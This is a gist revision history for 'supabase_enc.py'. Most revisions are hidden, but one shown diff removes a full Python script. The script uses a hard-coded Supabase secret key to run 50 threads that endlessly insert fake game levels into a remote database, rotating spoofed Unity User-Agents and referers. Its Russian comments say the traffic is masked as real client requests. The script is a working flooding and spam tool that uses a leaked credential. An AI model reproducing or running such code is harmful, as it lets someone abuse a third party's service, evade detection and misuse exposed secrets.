gayy revised this gist 22 hours ago. Go to revision
1 file changed, 2 insertions, 2 deletions
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 1 day ago. Go to revision
1 file changed, 16 insertions, 1 deletion
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 1 day ago. Go to revision
1 file changed, 1 insertion, 118 deletions
supabase_enc.py
| @@ -1,118 +1 @@ | |||
| 1 | - | import requests | |
| 2 | - | import random | |
| 3 | - | import json | |
| 4 | - | import uuid | |
| 5 | - | import threading | |
| 6 | - | import time | |
| 7 | - | import itertools | |
| 8 | - | ||
| 9 | - | SUPABASE_URL = "https://nrkwqjuavktjmfalvigc.supabase.co" | |
| 10 | - | SUPABASE_KEY = "sb_secret_EpsOv6nTnK-keoSNuvpv5A_PUEt_LUr" | |
| 11 | - | TABLE_NAME = "levels" | |
| 12 | - | REST_URL = f"{SUPABASE_URL}/rest/v1/{TABLE_NAME}" | |
| 13 | - | ||
| 14 | - | # Разные User-Agent как в реальной игре Unity | |
| 15 | - | UNITY_UA = [ | |
| 16 | - | "UnityPlayer/2022.3.15f1 (UnityWebRequest/1.0, libcurl/7.84.0-DEV)", | |
| 17 | - | "UnityPlayer/2021.3.33f1 (UnityWebRequest/1.0, libcurl/7.80.0)", | |
| 18 | - | "UnityPlayer/2023.2.0f1 (UnityWebRequest/1.0, libcurl/8.0.1)", | |
| 19 | - | "UnityPlayer/2022.3.20f1 (UnityWebRequest/1.0, libcurl/7.86.0)", | |
| 20 | - | "UnityPlayer/2023.1.10f1 (UnityWebRequest/1.0, libcurl/8.1.2)", | |
| 21 | - | ] | |
| 22 | - | ||
| 23 | - | # Реалистичные рефереры | |
| 24 | - | REFERERS = [ | |
| 25 | - | "https://game1.example.com/", | |
| 26 | - | "https://game23.supabase.app/", | |
| 27 | - | "https://level-editor.unity.com/", | |
| 28 | - | "https://play.unitycloud.com/", | |
| 29 | - | "https://mobile-game.domain/", | |
| 30 | - | ] | |
| 31 | - | ||
| 32 | - | def get_random_headers(): | |
| 33 | - | return { | |
| 34 | - | "apikey": SUPABASE_KEY, | |
| 35 | - | "Authorization": f"Bearer {SUPABASE_KEY}", | |
| 36 | - | "Content-Type": "application/json", | |
| 37 | - | "User-Agent": random.choice(UNITY_UA), | |
| 38 | - | "Referer": random.choice(REFERERS), | |
| 39 | - | "X-Client-Info": f"unity-client/{random.randint(1000, 9999)}", | |
| 40 | - | "Origin": "https://unity.com", | |
| 41 | - | "Accept": "application/json", | |
| 42 | - | "Accept-Encoding": "gzip, deflate, br", | |
| 43 | - | "Connection": "keep-alive", | |
| 44 | - | "Prefer": "return=minimal" | |
| 45 | - | } | |
| 46 | - | ||
| 47 | - | def create_level_worker(worker_id): | |
| 48 | - | """Один поток — бесконечно создаёт нормальные уровни с маскировкой""" | |
| 49 | - | session = requests.Session() # сессия для keep-alive | |
| 50 | - | counter = itertools.count(1) | |
| 51 | - | ||
| 52 | - | print(f"[Поток {worker_id}] Запущен") | |
| 53 | - | ||
| 54 | - | while True: | |
| 55 | - | try: | |
| 56 | - | level_num = next(counter) | |
| 57 | - | level_name = f"Level {random.randint(10000, 999999)}" | |
| 58 | - | author = f"Player{random.randint(1000, 99999)}" | |
| 59 | - | author_id = str(uuid.uuid4()) | |
| 60 | - | level_id = f"lvl_{random.randint(1000000, 9999999)}_{random.randint(1000, 9999)}" | |
| 61 | - | ||
| 62 | - | level_data = json.dumps({ | |
| 63 | - | "version": random.randint(1, 3), | |
| 64 | - | "name": level_name, | |
| 65 | - | "author": author, | |
| 66 | - | "objects": [], | |
| 67 | - | "triggers": [], | |
| 68 | - | "background": random.choice(["default", "space", "forest", "city"]), | |
| 69 | - | "music": "none", | |
| 70 | - | "gravity": round(random.uniform(0.8, 1.5), 2), | |
| 71 | - | "time_limit": random.randint(180, 600) | |
| 72 | - | }) | |
| 73 | - | ||
| 74 | - | data = { | |
| 75 | - | "level_id": level_id, | |
| 76 | - | "level_name": level_name, | |
| 77 | - | "author": author, | |
| 78 | - | "author_id": author_id, | |
| 79 | - | "description": f"Уровень #{random.randint(100, 99999)} от игрока", | |
| 80 | - | "level_data": level_data, | |
| 81 | - | "difficulty": round(random.uniform(1.0, 10.0), 1), | |
| 82 | - | "downloads": 0, | |
| 83 | - | "likes": 0, | |
| 84 | - | "version": random.randint(1, 5) | |
| 85 | - | } | |
| 86 | - | ||
| 87 | - | headers = get_random_headers() | |
| 88 | - | ||
| 89 | - | response = session.post(REST_URL, headers=headers, json=data, timeout=20) | |
| 90 | - | ||
| 91 | - | if response.status_code in (201, 200): | |
| 92 | - | print(f"[Поток {worker_id}] ✓ Создан уровень #{level_num} | {level_name}") | |
| 93 | - | else: | |
| 94 | - | print(f"[Поток {worker_id}] ✗ Ошибка {response.status_code} | {level_name}") | |
| 95 | - | ||
| 96 | - | except Exception as e: | |
| 97 | - | print(f"[Поток {worker_id}] Исключение: {e}") | |
| 98 | - | ||
| 99 | - | # Лёгкая случайная задержка для большей реалистичности | |
| 100 | - | time.sleep(random.uniform(0.3, 1.8)) | |
| 101 | - | ||
| 102 | - | if __name__ == "__main__": | |
| 103 | - | print("Запуск 50 потоков для бесконечного создания уровней...") | |
| 104 | - | print("Трафик замаскирован под реальные запросы Unity-клиента\n") | |
| 105 | - | ||
| 106 | - | threads = [] | |
| 107 | - | for i in range(50): | |
| 108 | - | t = threading.Thread(target=create_level_worker, args=(i+1,), daemon=True) | |
| 109 | - | t.start() | |
| 110 | - | threads.append(t) | |
| 111 | - | time.sleep(0.05) # лёгкий старт | |
| 112 | - | ||
| 113 | - | # Держим главный поток живым | |
| 114 | - | try: | |
| 115 | - | while True: | |
| 116 | - | time.sleep(1) | |
| 117 | - | except KeyboardInterrupt: | |
| 118 | - | print("\nОстановка скрипта...") | |
| 1 | + | бв | |
gayy revised this gist 1 day ago. Go to revision
1 file changed, 113 insertions, 24 deletions
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 2 days ago. Go to revision
1 file changed, 2 insertions, 2 deletions
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 2 days ago. Go to revision
1 file changed, 2 insertions, 2 deletions
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 2 days ago. Go to revision
1 file changed, 2 insertions, 3 deletions
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 2 days ago. Go to revision
1 file changed, 3 insertions, 11 deletions
supabase_enc.py
Diff is too large to be shown
gayy revised this gist 2 days ago. Go to revision
1 file changed, 38 insertions
supabase_enc.py(file created)
Diff is too large to be shown